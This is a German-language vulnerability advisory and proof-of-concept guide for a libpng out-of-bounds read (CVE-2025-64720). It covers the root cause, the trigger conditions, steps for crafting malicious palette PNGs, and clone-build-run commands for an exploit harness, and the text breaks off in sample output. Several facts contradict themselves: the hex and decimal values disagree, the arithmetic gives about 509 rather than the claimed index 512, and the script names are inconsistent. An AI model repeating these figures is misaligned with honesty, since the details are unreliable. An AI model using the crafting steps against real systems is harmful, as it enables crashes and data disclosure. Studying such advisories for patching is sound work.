CVE-2025-64720: Pufferüberlauf in libpng bei der Paletten-Premultiplikation

Status: Behoben
Schweregrad: Hoch
CVE-ID: CVE-2025-64720
Entdeckungsdatum: 2025-11-XX
Öffentliche Offenlegung: 2025-11-21

Überblick

Zusammenfassung

Eine Sicherheitslücke durch Lesen außerhalb der Grenzen (Out-of-Bounds-Read) existiert in libpngs png_image_read_composite-Funktion, wenn Palettenbilder mit aktiviertem PNG_FLAG_OPTIMIZE_ALPHA verarbeitet werden. Der Paletten-Compositing-Code in png_init_read_transformations wendet während der Premultiplikation fälschlicherweise Hintergrund-Compositing an und verletzt dabei die von der vereinfachten PNG-API geforderte Invariante component ≤ alpha × 257, was zu Speicherkorruption führt.

---

Details zur Sicherheitslücke

Grundursache

In png_init_read_transformations in Zeile ~1336 führt der Paletten-Expansionscode Folgendes aus:

component += (255-alpha)*png_sRGB_table[outrow[c]];

Diese Berechnung erzeugt component-Werte von bis zu 16.776.960 (0x1000800), wobei (component >> 15) == 512 gilt. Das anschließende PNG_sRGB_FROM_LINEAR-Makro in png_image_read_composite führt einen Array-Zugriff außerhalb der Grenzen aus:

png_sRGB_base[component>>15]    // Accesses png_sRGB_base[512]
png_sRGB_delta[component>>15]   // Accesses png_sRGB_delta[512]
// Both arrays have indices 0-511 only (size 512)

Das Problem tritt auf, wenn:

1. PNG den Palettenmodus (Farbtyp 3) mit Transparenz (tRNS-Chunk) verwendet
2. Die Anwendung die vereinfachte API mit einem alphafähigen Format verwendet
3. PNG_FLAG_OPTIMIZE_ALPHA intern aktiviert ist
4. Die Palettenexpansion eine Premultiplikation mit Hintergrund-Compositing durchführt

Verwundbare Komponente

• Datei: pngread.c, pngtrans.c
• Funktionen: png_image_read_composite, png_init_read_transformations
• Codepfad: Vereinfachte API → Palettenexpansion mit Alpha-Optimierung

Verletzung der Invariante

Expected: component ≤ alpha × 257
         Ensures (component >> 15) ≤ 511 (within array bounds)

Actual:   component = previous_value + (255-alpha) × png_sRGB_table[RGB_value]
         With alpha=0, RGB=255: component can exceed expected bounds
         
Result:   (component >> 15) can equal 512 (out of bounds access)

---

Betroffene Versionen

Verwundbare Versionen

• Software: libpng
• Versionen: Alle Versionen < 1.6.51
• Plattformen: Linux, Windows, macOS, BSD usw.
• Architekturen: x86, x64, ARM, ARM64 usw.

Behobene Versionen

• Erste behobene Version: 1.6.51
• Veröffentlichungsdatum: 2025-11-21
• Patch-Commit: 08da33b

Versionserkennung

# Method 1: pkg-config
pkg-config --modversion libpng

# Method 2: Direct library query
libpng-config --version

# Method 3: Check binary
strings /usr/lib/libpng*.so* | grep -i "libpng version"

# Method 4: From source
grep PNG_LIBPNG_VER_STRING png.h

---

Technische Analyse

Angriffsvektor

Ein Angreifer kann diese Sicherheitslücke ausnutzen, indem er eine bösartige PNG-Datei mit bestimmten Eigenschaften erstellt:

1. Angriffsvoraussetzungen:

   • Die Zielanwendung verwendet libpng < 1.6.51
   • Die Anwendung verwendet die vereinfachte PNG-API (png_image_*-Funktionen)
   • Die Anwendung fordert ein alphafähiges Ausgabeformat an (z. B. RGBA, ARGB)

2. Angriffsschritte:

   • Eine Paletten-PNG (Farbtyp 3) mit tRNS-Chunk erstellen
   • Paletteneinträge auf maximale RGB-Werte (255, 255, 255) setzen
   • Alpha-Werte für mehrere Paletteneinträge auf Null setzen
   • Die Opferanwendung verarbeitet die PNG mit Alpha-Format
   • PNG_FLAG_OPTIMIZE_ALPHA wird intern aktiviert
   • Die Palettenexpansion verletzt die Component-Invariante
   • Es kommt zu einem Array-Zugriff außerhalb der Grenzen

3. Angriffsergebnis:

   • Out-of-Bounds-Read aus png_sRGB_base oder png_sRGB_delta
   • Speicherkorruption führt zu Heap-Use-after-Free
   • Absturz der Anwendung (Denial of Service)
   • Mögliche Offenlegung von Informationen durch OOB-Read

Speicherlayout

┌─────────────────┐
│ png_sRGB_base   │  Array indices: 0-511 (512 entries)
│ [512 entries]   │  Valid access: (component >> 15) ≤ 511
├─────────────────┤
│ [OOB Access]    │  Index 512 ← Vulnerable access when component ≥ 0x1000000
├─────────────────┤
│ png_sRGB_delta  │  Array indices: 0-511 (512 entries)
│ [512 entries]   │  Also vulnerable to same OOB access
├─────────────────┤
│ Adjacent Memory │  Potential information disclosure
└─────────────────┘

Calculation that causes overflow:
component = alpha × component + (255-alpha) × png_sRGB_table[palette_RGB]

When alpha=0 and palette_RGB=255:
component = 0 + 255 × 65535 = 16,711,425
(component >> 15) = 512 (OUT OF BOUNDS!)

Auslösebedingungen

Erforderliche Bedingungen:

• PNG-Farbtyp 3 (indiziert/Palette)
• tRNS-Chunk vorhanden (Transparenz)
• Alpha-Werte von 0 im tRNS-Chunk
• Hohe RGB-Werte in der Palette (insbesondere 255, 255, 255)
• Verwendung der vereinfachten API (png_image_finish_read)
• Alphafähiges Format (PNG_FORMAT_ARGB, PNG_FORMAT_RGBA mit Flags)

Optionale Faktoren:

• Format mit PNG_FORMAT_FLAG_AFIRST erhöht die Wahrscheinlichkeit eines Absturzes
• Größere Bilder bieten mehr Gelegenheiten, den Fehler auszulösen
• Mehrere Paletteneinträge mit Alpha Null erhöhen die Zuverlässigkeit

Nicht-auslösende Bedingungen:

• libpng >= 1.6.51 (behoben)
• PNG_FORMAT_RGBA ohne zusätzliche Flags (manchmal sicher)
• Nicht-Paletten-Farbtypen (RGB, Graustufen usw.)
• Palette ohne Transparenz
• Alle Alpha-Werte = 255 (vollständig deckend)

---

Proof of Concept

Schnellstart

# Clone repository
git clone https://github.com/truediogo/CVE-2025-64720
cd CVE-2025-64720

# Generate images
python3 generate-images.py

# Build test
chmod +x build.sh
./build.sh

# Run exploit (requires vulnerable libpng < 1.6.51)
./test_asan exploit_v1.png exploit_v2.png exploit_v3.png exploit_v4.png

PoC-Komponenten

1. Exploit-Generator (generate-images.py)

Erzeugt bösartige PNG-Dateien, die die Sicherheitslücke auslösen.

Verwendung:

python3 generate_poc.py

Ausgabe:

• exploit_v1.png – 8x8-Bild, einheitliche weiße Palette, Alpha null
• exploit_v2.png – 8x8-Bild, strategische Palettenvariation
• exploit_v3.png – 64x64-Bild, groß mit wiederholten Mustern
• exploit_v4.png – 4x4-Bild, Minimalfall mit durchgehend Alpha null

Optionen:

# Generate specific variant
generate_malicious_png('custom.png', variant=2)

# Variants:
# 1: Maximum RGB values with zero alpha (reliable)
# 2: Strategic palette designed for maximum overflow
# 3: Larger image with repeated triggering patterns
# 4: Minimal case targeting global-buffer-overflow

2. Test (test.c)

Verarbeitet PNG-Dateien mithilfe der vereinfachten API und demonstriert die Sicherheitslücke.

Kompilierung:

# With AddressSanitizer (recommended - best detection)
gcc -o test_asan test.c -lpng -fsanitize=address -g -O0 -fno-omit-frame-pointer

# With UndefinedBehaviorSanitizer
gcc -o test_ubsan test.c -lpng -fsanitize=undefined -g -O0

# With debugging symbols
gcc -o test_debug test.c -lpng -g -O0

# For Valgrind
gcc -o test_valgrind test.c -lpng -g -O0 -fno-inline

Funktionen:

• Testet mehrere alphafähige Formate (RGBA, ARGB, LINEAR_RGB_ALPHA)
• Zeigt die libpng-Version und den Verwundbarkeitsstatus an
• Zeigt die ersten Pixelwerte zur Verifizierung an
• Umfassende Fehlerbehandlung

Erwartete Ausgabe

Auf verwundbarer Version (libpng 1.6.36):

libpng version: 1.6.36
PNG_LIBPNG_VER: 10636

[!] libpng < 1.6.51 detected (vulnerable version)

=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8